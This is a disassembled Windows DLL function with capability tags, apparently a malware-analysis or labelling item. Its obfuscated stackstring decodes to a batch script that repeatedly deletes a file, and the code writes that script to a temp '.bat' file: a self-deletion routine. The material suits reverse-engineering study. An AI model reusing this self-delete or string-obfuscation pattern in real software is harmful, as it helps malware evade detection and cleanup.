Function at 0x180007708
Capabilities:
Contain obfuscated stackstrings
Query environment variable
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x90
mov rax, qword [0x18002b028]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov byte [rsp + 0x48], 0x40
mov byte [rsp + 0x49], 0x65
mov byte [rsp + 0x4a], 0x63
mov byte [rsp + 0x4b], 0x68
mov byte [rsp + 0x4c], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x4d], 0x20
mov byte [rsp + 0x4e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x4f], 0x66
mov byte [rsp + 0x50], 0x66
mov byte [rsp + 0x51], recv
mov byte [rsp + 0x52], 0xa
mov byte [rsp + 0x53], 0x3a
mov byte [rsp + 0x54], 0x64
mov byte [rsp + 0x55], recv
mov byte [rsp + 0x56], 0xa
mov byte [rsp + 0x57], 0x64
mov byte [rsp + 0x58], 0x65
mov byte [rsp + 0x59], WSAGetLastError
mov byte [rsp + 0x5a], 0x20
mov byte [rsp + 0x5b], 0x22
mov byte [rsp + 0x5c], 0x25
mov byte [rsp + 0x5d], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x5e], 0x22
mov byte [rsp + 0x5f], recv
mov byte [rsp + 0x60], 0xa
mov byte [rsp + 0x61], 0x69
mov byte [rsp + 0x62], 0x66
mov byte [rsp + 0x63], 0x20
mov byte [rsp + 0x64], 0x65
mov byte [rsp + 0x65], 0x78
mov byte [rsp + 0x66], 0x69
mov byte [rsp + 0x67], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x68], 0x74
mov byte [rsp + 0x69], 0x20
mov byte [rsp + 0x6a], 0x22
mov byte [rsp + 0x6b], 0x25
mov byte [rsp + 0x6c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x6d], 0x22
mov byte [rsp + 0x6e], 0x20
mov byte [rsp + 0x6f], 0x67
mov byte [rsp + 0x70], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x71], 0x74
mov byte [rsp + 0x72], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x73], 0x20
mov byte [rsp + 0x74], 0x64
mov byte [rsp + 0x75], recv
mov byte [rsp + 0x76], 0xa
mov byte [rsp + 0x77], 0x64
mov byte [rsp + 0x78], 0x65
mov byte [rsp + 0x79], WSAGetLastError
mov byte [rsp + 0x7a], 0x20
mov byte [rsp + 0x7b], 0x2f
mov byte [rsp + 0x7c], 0x46
mov byte [rsp + 0x7d], 0x20
mov byte [rsp + 0x7e], 0x22
mov byte [rsp + 0x7f], 0x25
mov r13, rcx
mov ebx, 0x104
mov byte [r11 - 0x38], 0x73
mov byte [r11 - 0x37], 0x22
mov rcx, rbx
mov byte [r11 - 0x36], 0
call fcn.1800129d0
mov rcx, rbx
mov rdi, rax
call fcn.1800129d0
lea rcx, [0x180027360]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r8d, 0x1000
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov rcx, rdi
call fcn.180012990
mov rcx, rbx
call fcn.1800129d0
mov rbp, rax
call qword [0x180030440]
mov edi, eax
or r14, 0xffffffffffffffff
lea r9, str._s_d.bat
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r12
call fcn.180012f6c
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rbp
mov dword [rsp + 0x28], 0x80
inc edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
test rax, rax
je 0x1800078bd
cmp rax, r14
je 0x1800078bd
xor eax, eax
lea rdi, [rsp + 0x48]
mov rcx, r14
repne scasb al, byte [rdi]
not rcx
add ecx, 0x17eec
mov edi, ecx
call fcn.1800129d0
mov r8, rdi
mov rcx, rax
xor edx, edx
mov rbx, rax
call fcn.180015e20
mov qword [rsp + 0x30], rbp
lea r9, [rsp + 0x48]
mov r8, r14
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call fcn.180012f6c
xor eax, eax
mov rcx, r14
mov rdi, rbx
and qword [rsp + 0x20], rax
repne scasb al, byte [rdi]
lea r9, [rsp + 0x40]
not rcx
mov rdx, rbx
lea r8, [rcx - 1]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call fcn.1800074f0
mov rcx, rbp
call fcn.180012990
mov rcx, rbx
call fcn.180012990
mov rcx, r12
call fcn.180012990
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180012970
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret